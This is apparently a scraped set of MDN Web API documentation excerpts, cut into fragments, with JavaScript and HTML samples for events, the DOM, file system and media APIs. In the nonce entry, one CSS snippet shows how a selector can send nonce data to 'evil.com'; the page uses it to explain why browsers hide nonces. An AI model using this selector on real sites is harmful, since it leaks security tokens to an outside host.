this will not affect the system clipboard or the document's contents.
... examples live example html <div class="source" contenteditable="true">try cutting text from
this box...</div> <div class="target" contenteditable="true">...and pasting it into
this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: focus event - Web APIs
the main difference between
this event and focusin is that focusin bubbles while focus does not.
...t type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for
this event: by using the focusin event, or by setting the usecapture parameter of addeventlistener() to true.
...r="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that
this event is composed.
Element.getAttributeNS() - Web APIs
note: earlier versions of the dom specification had
this method described as returning an empty string for non-existent attributes, but it was not typically implemented
this way since null makes more sense.
... the dom4 specification now says
this method should return null for non-existent attributes.
... prior to the dom4 specification,
this method was specified to return an empty string rather than null for non-existent attributes.
Element.getElementsByClassName() - Web APIs
examples matching a single class to look for elements that include among their classes a single specified class, we just provide that class name when calling getelementsbyclassname(): element.getelementsbyclassname('test');
this example finds all elements that have a class of test, which are also a descendant of the element that has the id of main: document.getelementbyid('main').getelementsbyclassname('test'); matching multiple classes to find elements whose class lists include both the red and test classes: element.getelementsbyclassname('red test'); examining the results you can use either the item() method on t...
...hes = element.getelementsbyclassname('colorbox'); for (var i=0; i<matches.length; i++) { matches[i].classlist.remove('colorbox'); matches.item(i).classlist.add('hueframe'); } instead, use another method, such as: var matches = element.getelementsbyclassname('colorbox'); while (matches.length > 0) { matches.item(0).classlist.add('hueframe'); matches[0].classlist.remove('colorbox'); }
this code finds descendant elements with the "colorbox" class, adds the class "hueframe", by calling item(0), then removes "colorbox" (using array notation).
... filtering the results using array methods we can also use methods of array.prototype on any htmlcollection by passing the htmlcollection as the method's
this value.
Element.insertAdjacentHTML() - Web APIs
this avoids the extra step of serialization, making it much faster than direct innerhtml manipulation.
... example // <div id="one">one</div> var d1 = document.getelementbyid('one'); d1.insertadjacenthtml('afterend', '<div id="two">two</div>'); // at
this point, the new structure is: // <div id="one">one</div><div id="two">two</div> notes security considerations when inserting html into a page by using insertadjacenthtml(), be careful not to use user input that hasn't been escaped.
...
this doesn't interpret the passed content as html, but instead inserts it as raw text.
Element.namespaceURI - Web APIs
before dom4
this api was defined within the node interface.
... syntax namespace = element.namespaceuri example in
this snippet, an element is being examined for its localname and its namespaceuri.
... if (element.localname == "browser" && element.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { //
this is a xul browser } notes
this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
Element.onfullscreenchange - Web APIs
example
this example establishes a fullscreenchange event handler, handlefullscreenchange().
...
this function determines which element it was called on by checking the value of event.target, then compares the document's fullscreenelement value to the element to see if they're the same node.
...
this gives us a value, isfullscreen, which we pass into a function called adjustmycontrols(), which we imagine to be a function that makes adjustments to the app's user interface to present itself optimally when it's in full-screen mode versus being displayed in a window.
Element: paste event - Web APIs
a handler for
this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
... it's possible to construct and dispatch a synthetic paste event, but
this will not affect the document's contents.
... examples live example html <div class="source" contenteditable="true">try copying text from
this box...</div> <div class="target" contenteditable="true">...and pasting it into
this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); resul...
Element.prefix - Web APIs
before dom4
this api was defined within the node interface.
... <x:div onclick="console.log(
this.prefix)"/> notes
this will only work when a namespace-aware parser is used, i.e.
...
this will not work for html documents.
Element.releasePointerCapture() - Web APIs
return value
this method returns undefined.
... example
this example sets pointer capture on a <div> when you press down on it.
...
this lets you slide the element horizontally, even when you pointer moves outside of its boundaries.
Element.scrollHeight - Web APIs
if the element's content can fit without a need for vertical scrollbar, its scrollheight is equal to clientheight
this property will round the value to an integer.
... element.scrollheight - element.scrolltop === element.clientheight when the container does not scroll, but has overflowing children, these checks determine if the container can scroll: window.getcomputedstyle(element).overflowy === 'visible' window.getcomputedstyle(element).overflowy !== 'hidden' scrollheight demo associated with the onscroll event,
this equivalence can be useful to determine whether a user has read a text or not (see also the element.scrolltop and element.clientheight properties).
...p" value="next" /> </p> </form> css #notice { display: inline-block; margin-bottom: 12px; border-radius: 5px; width: 600px; padding: 5px; border: 2px #7fdf55 solid; } #rules { width: 600px; height: 130px; padding: 5px; border: #2a9f00 solid 2px; border-radius: 5px; } javascript function checkreading () { if (checkreading.read) { return; } checkreading.read =
this.scrollheight -
this.scrolltop ===
this.clientheight; document.registration.accept.disabled = document.getelementbyid("nextstep").disabled = !checkreading.read; checkreading.noticebox.innerhtml = checkreading.read ?
Element.setAttribute() - Web APIs
boolean attributes are considered to be true if they're present on the element at all, regardless of their actual value; as a rule, you should specify the empty string ("") in value (some people use the attribute's name;
this works but is non-standard).
... html <button>hello world</button> javascript var b = document.queryselector("button"); b.setattribute("name", "hellobutton"); b.setattribute("disabled", "");
this demonstrates two things: the first call to setattribute() above shows changing the name attribute's value to "hellobutton".
... you can see
this using your browser's page inspector (chrome, edge, firefox, safari).
Element.setAttributeNode() - Web APIs
replacedattr is the replaced attribute node, if any, returned by
this function.
... example
this example copies the align attribute from one element to another.
...
this method is seldom used, with element.setattribute() usually being used to change element's attributes.
Event.composedPath() - Web APIs
this does not include nodes in shadow trees if the shadow root was created with its shadowroot.mode closed.
... the first definition looks like
this, for example: customelements.define('open-shadow', class extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.textcontent =
this.getattribute('text'); let shadowroot =
this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow text="i have an open...
...the <open-shadow> element's composed path is
this: array [ p, shadowroot, open-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] whereas the <closed-shadow> element's composed path is a follows: array [ closed-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] in the second case, the event listeners only propagate as f...
Event.defaultPrevented - Web APIs
note: you should use
this instead of the non-standard, deprecated getpreventdefault() method (see bug 691151).
... example
this example logs attempts to visit links from two <a> elements.
...id="link1" href="#link1">visit link 1</a></p> <p><a id="link2" href="#link2">try to visit link 2</a> (you can't)</p> <p id="log"></p> javascript function stoplink(event) { event.preventdefault(); } function logclick(event) { const log = document.getelementbyid('log'); if (event.target.tagname === 'a') { if (event.defaultprevented) { log.innertext = 'sorry, but you cannot visit
this link!\n' + log.innertext; } else { log.innertext = 'visiting link...\n' + log.innertext; } } } const a = document.getelementbyid('link2'); a.addeventlistener('click', stoplink); document.addeventlistener('click', logclick); result specifications specification status comment domthe definition of 'event.defaultprevented()' in that specification.
Event.msConvertURL() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and the microsoft edge browser.
... return value
this method does not return a value.
Event.originalTarget - Web APIs
(mozilla-specific) in presence of xbl anonymous content
this will be the anonymous node the event originally fired on.
... see also comparison of event targets example need an example that makes sense here specification
this is a mozilla-specific property.
... defined in /dom/public/idl/events/nsidomnsevent.idl
this event property is not defined in the w3.org dom level 2 events ...
Event.preventDefault() - Web APIs
this example demonstrates how to prevent that from happening: javascript document.queryselector("#id-checkbox").addeventlistener("click", function(event) { document.getelementbyid("output-box").innerhtml += "sorry!
... <code>preventdefault()</code> won't let you check
this!<br>"; event.preventdefault(); }, false); html <p>please click on the checkbox control.</p> <form> <label for="id-checkbox">checkbox:</label> <input type="checkbox" id="id-checkbox"/> </form> <div id="output-box"></div> result stopping keystrokes from reaching an edit field the following example demonstrates how invalid text input can be stopped from reaching the input field with preventdefault().
...it's not an elegant function but does the job for the purposes of
this example: var warningtimeout; var warningbox = document.createelement("div"); warningbox.classname = "warning"; function displaywarning(msg) { warningbox.innerhtml = msg; if (document.body.contains(warningbox)) { window.cleartimeout(warningtimeout); } else { // insert warningbox after mytextbox mytextbox.parentnode.insertbefore(warningbox, mytextbox.nextsibling); } warnin...
Event.returnValue - Web APIs
the event property returnvalue indicates whether the default action for
this event has been prevented or not.
...setting
this property to false prevents the default action.
...you should use preventdefault(), and defaultprevented instead of
this historical property.
Event.timeStamp - Web APIs
note:
this property only works if the event system supports it for the particular event.
... syntax time = event.timestamp; value
this value is the number of milliseconds elapsed from the beginning of the current document's lifetime till the event was created.
... example html <p> focus
this iframe and press any key to get the current timestamp for the keypress event.
EventListener - Web APIs
this is shown in the example below.
... properties
this interface neither implements, nor inherits, any properties.
... methods
this interface doesn't inherit any methods.
EventTarget - Web APIs
eventtarget.dispatchevent() dispatches an event to
this eventtarget.
... void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example simple implementation of eventtarget var eventtarget = function() {
this.listeners = {}; }; eventtarget.prototype.listeners = null; eventtarget.prototype.addeventlistener = function(type, callback) { if (!(type in
this.listeners)) {
this.listeners[type] = []; }
this.listeners[type].push(callback); }; eventtarget.prototype.removeeventlistener = function(type, callback) { if (!(type in
this.listeners)) { return; } var stack =
this.listeners[type]; for (var i = 0...
..., l = stack.length; i < l; i++) { if (stack[i] === callback){ stack.splice(i, 1); return; } } }; eventtarget.prototype.dispatchevent = function(event) { if (!(event.type in
this.listeners)) { return true; } var stack =
this.listeners[event.type].slice(); for (var i = 0, l = stack.length; i < l; i++) { stack[i].call(
this, event); } return !event.defaultprevented; }; specifications specification status comment domthe definition of 'eventtarget' in that specification.
FetchEvent.request - Web APIs
this property is non-nullable (since version 46, in the case of firefox.) if a request is not provided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object.
... example
this code snippet is from the service worker fetch sample (run the fetch sample live).
...
this promise resolves to the first matching url request in the cache object.
Fetch API - Web APIs
this will allow them to be used wherever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions).
...
this makes it available in pretty much any context you might want to fetch resources in.
... you can create a request and response directly using the request() and response() constructors, but it's uncommon to do
this directly.
File.getAsBinary() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)
this feature is obsolete.
... note:
this method is obsolete; you should use the filereader method readasbinarystring() or readasarraybuffer() instead.
File.getAsText() - Web APIs
obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)
this feature is obsolete.
... note:
this method is obsolete; you should use the filereader method readastext() instead.
...if
this string is empty, utf-8 is assumed.
File.webkitRelativePath - Web APIs
example in
this example, a directory picker is presented which lets the user choose one or more directories.
...
this api has no official w3c or whatwg specification.
... browser compatibility the compatibility table in
this page is generated from structured data.
FileReaderSync.readAsArrayBuffer() - Web APIs
this interface is only available in workers as it enables synchronous i/o that could potentially block.
... exceptions the following exceptions can be raised by
this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileReaderSync.readAsDataURL() - Web APIs
this interface is only available in workers as it enables synchronous i/o that could potentially block.
... exceptions the following exceptions can be raised by
this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileReaderSync.readAsText() - Web APIs
this interface is only available in workers as it enables synchronous i/o that could potentially block.
... exceptions the following exceptions can be raised by
this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemDirectoryEntry.createReader() - Web APIs
example
this example creates a method called readdirectory(), which fetches all of the entries in the specified filesystemdirectoryentry and returns them in an array.
...y(directory) { let dirreader = directory.createreader(); let entries = []; let getentries = function() { dirreader.readentries(function(results) { if (results.length) { entries = entries.concat(toarray(results)); getentries(); } }, function(error) { /* handle error -- error is a fileerror object */ }); }; getentries(); return entries; }
this works by creating an internal function, getentries(), which calls itself recursively to get all the entries in the directory, concatenating each batch to the array.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
the fileerror.code specifies what type of error occurred, as follows: fileerror.invalid_modification_err an attempt was made to remove the root directory;
this is not permitted.
...you should provide an errorcallback to watch for and handle
this, perhaps by trying again.
... example directory.removerecursively(function() { /* the directory was removed successfully */ }, function() { /* an error occurred while removing the directory */ }); browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemDirectoryReader - Web APIs
because
this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it.
... specifications specification status comment file and directory entries api draft draft of proposed api
this api has no official w3c or whatwg specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.copyTo() - Web APIs
newname optional if
this parameter is provided, the copy is given
this string as its new file or directory name.
... example
this example shows how a temporary log file might be moved into a more permanent "log" directory.
... workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.copyto(direntry); }, handleerror); }, handleerror); browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.moveTo() - Web APIs
newname optional if
this parameter is provided, the entry is renamed to have
this string as its new file or directory name.
... example
this example shows how a temporary log file might be moved into a more permanent "log" directory when it exceeds a megabyte in size.
... workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.name - Web APIs
the read-only name property of the filesystementry interface returns a usvstring specifying the entry's name;
this is the entry within its parent directory (the last component of the path as indicated by the fullpath property).
... example
this example shows a function called isfilewithextension() which returns true if the specified filesystementry is both a file and the file's name ends with a given extension.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemFlags.create - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...
this option has no effect.ie no support noopera no support nosafari no support nowebview android full support yesprefixed full support yesprefixed prefixed implemented with the v...
...
this option has no effect.opera android no support nosafari ios no support nosamsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitlegend ...
FileSystemFlags.exclusive - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...
this option has no effect.ie no support noopera no support nosafari no support nowebview android full support yesprefixed full support yesprefixed prefixed implemented with the v...
...
this option has no effect.opera android no support nosafari ios no support nosamsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitlegend ...
FullscreenOptions.navigationUI - Web APIs
"show" the browser will present page navigation controls and possibly other user interface; the dimensions of the element (and the perceived size of the screen) will be clamped to leave room for
this user interface.
...
this is the default value.
... example in
this example, the entire document is placed into full-screen mode by calling requestfullscreen() on the document's document.documentelement, which is the document's root <html> element.
Gamepad.timestamp - Web APIs
the gamepad.timestamp property of the gamepad interface returns a domhighrestimestamp representing the last time the data for
this gamepad was updated.
... the idea behind
this is to allow developers to determine if the axes and button data have been updated from the hardware.
... note:
this property is not currently supported anywhere.
Geolocation - Web APIs
this allows a web site or app to offer customized results based on the user's location.
... an object with
this interface is obtained using the navigator.geolocation property implemented by the navigator object.
...be aware that each browser has its own policies and methods for requesting
this permission.
GlobalEventHandlers.onanimationend - Web APIs
we'll use
this to show information about the events we receive.
...on(event) { log("animation started", event); } box.onanimationend = function(event) { log("animation stopped", event); }; finally, we set up a handler for a click on the button that runs the animation: document.getelementbyid("play").addeventlistener("click", function(event) { document.getelementbyid("box").classname = "slideanimation"; event.target.style.display = "none"; }, false);
this sets the class of the box we want to animate to the class that contains the animation description, then hides the play button because
this example will only run the animation once.
... result assembled together, you get
this: specification specification status comment css animationsthe definition of 'onanimationend' in that specification.
GlobalEventHandlers.onauxclick - Web APIs
note: browser vendors are implementing
this property as part of a plan to improve compatibility with regards to button behaviors.
...within the function,
this will be the element upon which the event was triggered.
... example in
this example we define functions for two event handlers — onclick and onauxclick.
GlobalEventHandlers.ondblclick - Web APIs
within the function,
this will be the element upon which the event was triggered.
... example
this example logs the position of double clicks.
... html <p>double click anywhere in
this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.ontouchcancel - Web APIs
note:
this attribute has not been formally standardized.
...
this attribute is not widely implemented.
... example
this example shows two ways to use ontouchcancel to set an element's touchcancel event handler.
GlobalEventHandlers.ontouchend - Web APIs
note:
this attribute has not been formally standardized.
...
this attribute is not widely implemented.
... example
this example shows two ways to use ontouchend to set an element's touchend event handler.
GlobalEventHandlers.ontouchmove - Web APIs
note:
this attribute has not been formally standardized.
...
this attribute is not widely implemented.
... example
this example shows two ways to use ontouchmove to set an element's touchmove event handler.
GlobalEventHandlers.ontouchstart - Web APIs
note:
this attribute has not been formally standardized.
...
this attribute is not widely implemented.
... example
this example shows two ways to use ontouchstart to set an element's touchstart event handler.
Gyroscope - Web APIs
to use
this sensor, the user must grant permission to the 'gyroscope' device sensor through the permissions api.
...
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
HTMLAnchorElement - Web APIs
this interface corresponds to <a> element; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px...
...until
this discrepancy is resolved, you should still assume it is obsolete.
... technically, the url-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moved to the htmlhyperlinkelementutils mixin, and htmlanchorelement implements
this mixin.
HTMLCollection - Web APIs
note:
this interface is called htmlcollection for historical reasons (before the modern dom, collections implementing
this interface could only have html elements as their items).
...
this is mostly useful for non-javascript dom implementations.
...
this is mostly useful for non-javascript dom implementations.
HTMLElement: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
... an event handler for
this event can be added by setting the onanimationcancel property, or using addeventlistener().
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel examples
this code gets an element that's currently being animated and adds a listener to the animationcancel event.
HTMLElement: input event - Web APIs
however, historically
this has not always been the case.
...
this is unlike the change event, which only fires when the value is committed, such as by pressing the enter key, selecting a value from a list of options, and the like.
... examples
this example logs the value whenever you change the value of the <input> element.
HTMLElement: transitioncancel event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel examples
this code gets an element that has a transition defined and adds a listener to the transitioncancel event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition c...
...have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to
this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
... in
this example, to cancel the transition, stop hovering over the transitioning box before the transition ends.
HTMLElement: transitionend event - Web APIs
examples
this code gets an element that has a transition defined and adds a listener to the transitionend event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () => { console...
... <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to
this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
... in
this example, to cancel the transition, stop hovering over the transitioning box before the transition ends.
HTMLFormElement.requestSubmit() - Web APIs
this may be either an <input> or <button> element whose type attribute is submit.
... usage notes the obvious question is: why does
this method exist, when we've had the submit() method since the dawn of time?
... if, on the other hand, requestsubmit() isn't available,
this code falls back to calling the form's submit() method.
HTMLFormElement.submit() - Web APIs
this method is similar, but not identical to, activating a form's submit <button>.
... when invoking
this method directly, however: no submit event is raised.
... if a form control (such as a submit button) has a name or id of submit,
this method will mask the form's submit method.
HTMLHtmlElement - Web APIs
this object inherits the properties and methods described in the htmlelement interface.
... htmlhtmlelement.version is a domstring representing the version of the html document type definition (dtd) that governs
this document.
...
this property should not be used any more as it is non-conforming.
HTMLIFrameElement.contentWindow - Web APIs
you can use
this window object to access the iframe's document and its internal dom.
...
this attribute is read-only, but its properties can be manipulated like the global window object.
... example of contentwindow var x = document.getelementsbytagname("iframe")[0].contentwindow; //x = window.frames[0]; x.document.getelementsbytagname("body")[0].style.backgroundcolor = "blue"; //
this would turn the 1st iframe in document blue.
HTMLImageElement.border - Web APIs
you should not use
this property!
... for example, if you have the following html: <img src="image.png" border="2"> the following will provide the same appearance using css instead of
this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.height - Web APIs
example in
this example, two different sizes are provided for an image of a clock using the srcset attribute.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updateheight = event => { output.innertext = clockimage.height; }; window.addeventlistener("load", updateheight); window.addeventlistener("resize", updateheight); result
this example may be easier to try out in its own window.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.hspace - Web APIs
this property reflects the html hspace attribute.
... important:
this property is obsolete.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load.
... to prevent
this reflow from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height attributes.
... by establishing the intrinsic aspect ratio in
this manner, you prevent elements from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows.
HTMLImageElement.lowSrc - Web APIs
this property reflects the html lowsrc attribute.
... there are a number of ways to achieve
this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.name - Web APIs
this has been replaced by the id property available on all elements.
... important:
this property is deprecated and is only in the specification still for backward compatibility purposes.
... recommendation provides additional details not available in the html 5 browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.src - Web APIs
this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property.
...browsers that do support viewport-based selection will ignore src in
this situation.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLInputElement.setRangeText() - Web APIs
this is the default.
... example click the button in
this example to replace part of the text in the text box.
... html <input type="text" id="text-box" size="30" value="
this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLInputElement.setSelectionRange() - Web APIs
this lets you indicate, for example, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning.
...
this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call.
... example click the button in
this example to select the third, fourth, and fifth characters in the text box ("zil" in the word "mozilla").
HTMLInputElement.stepDown() - Web APIs
example click the button in
this example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="butt...
...any other value is a multiplier of the step attribute value, which in
this case is 5.
...the stepdown() method will not allow the input to go out of range, in
this case stopping when it reaches 0 and rounding down and floats that are passed as a parameter.
HTMLInputElement.stepUp() - Web APIs
example click the button in
this example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="incrementer" min="0" max="25"> </label> </p> <input type="butto...
...any other value is a multiplier of the step attribute value, which in
this case is 5.
...the stepup will not allow the input to out of range, in
this case stopping when it reaches 400, and rounding down any floats that are passed as a parameter.
HTMLLinkElement - Web APIs
this object inherits all of the properties and methods of the htmlelement interface.
... htmllinkelement.crossorigin is a domstring that corresponds to the cors setting for
this link element.
...until
this discrepancy is resolved, you should still assume it is obsolete.
msClearEffects - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... syntax htmlmediaelement.mscleareffects(); parameters
this method has no parameters.
... return value
this method does not return a value.
HTMLMediaElement.msInsertAudioEffect() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... return value
this method does not return a value.
HTMLMediaElement.playbackRate - Web APIs
this is used to implement user controls for fast forward, slow motion, and so forth.
... the normal playback rate is multiplied by
this value to obtain the current rate, so a value of 1.0 indicates normal speed.
...some browsers implement the non-standard htmlmediaelement.preservespitch property to control
this.
HTMLMediaElement.srcObject - Web APIs
examples basic example in
this example, a mediastream from a camera is assigned to a newly-created <video> element.
... const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); video.srcobject = mediastream; in
this example, a new mediasource is assigned to a newly-created <video> element.
... const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); if ('srcobject' in video) { video.srcobject = mediastream; } else { // avoid using
this in new browsers, as it is going away.
HTMLOrForeignElement.nonce - Web APIs
examples retrieving a nonce value in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed
this way (an empty string will be returned).
... nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like
this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLSelectElement.add() - Web APIs
the htmlselectelement.add() method adds an element to the collection of option elements for
this select element.
...if
this parameter is null (or the index does not exist), the new element is appended to the end of the collection.
... obsolete the method now throws an not_found_err exception if the item of the before parameter is not a child of
this element.
HTMLTableElement.createCaption() - Web APIs
if no <caption> element exists on the table,
this method creates it, and then returns it.
... syntax htmltableelement = table.createcaption(); return value htmltablecaptionelement example
this example uses javascript to add a caption to a table that initially lacks one.
... html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = document.queryselector('table'); let caption = table.createcaption(); caption.textcontent = '
this caption was created by javascript!'; result specifications specification status comment html living standardthe definition of 'htmltableelement: createcaption' in that specification.
HTMLTableElement.deleteCaption() - Web APIs
if there is no <caption> element associated with the table,
this method does nothing.
... syntax htmltableelement.deletecaption() example
this example uses javascript to delete a table's caption.
... html <table> <caption>
this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletecaption' in that specification.
HTMLTableElement - Web APIs
if a correct object is given, it is inserted in the tree as the first child of
this element and the first <caption> that is a child of
this element is removed from the tree, if any.
...if a correct object is given, it is inserted in the tree immediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element, and the first <thead> that is a child of
this element is removed from the tree, if any.
...if a correct object is given, it is inserted in the tree immediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element, and the first <tfoot> that is a child of
this element is removed from the tree, if any.
HTMLTableRowElement - Web APIs
this character is the one to align all the cell of a column on.
...
this property was optional and was not very well supported.
...
this property was optional and was not very well supported.
HTMLTableSectionElement - Web APIs
this character is the one to align all the cell of a column on.
...
this property was optional and was not very well supported.
...
this property was optional and was not very well supported.
HTMLVideoElement.msFrameStep() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... return value
this method does not return a value.
HTMLVideoElement.msHorizontalMirror - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
... video perspective is flipped on a horizontal axis -
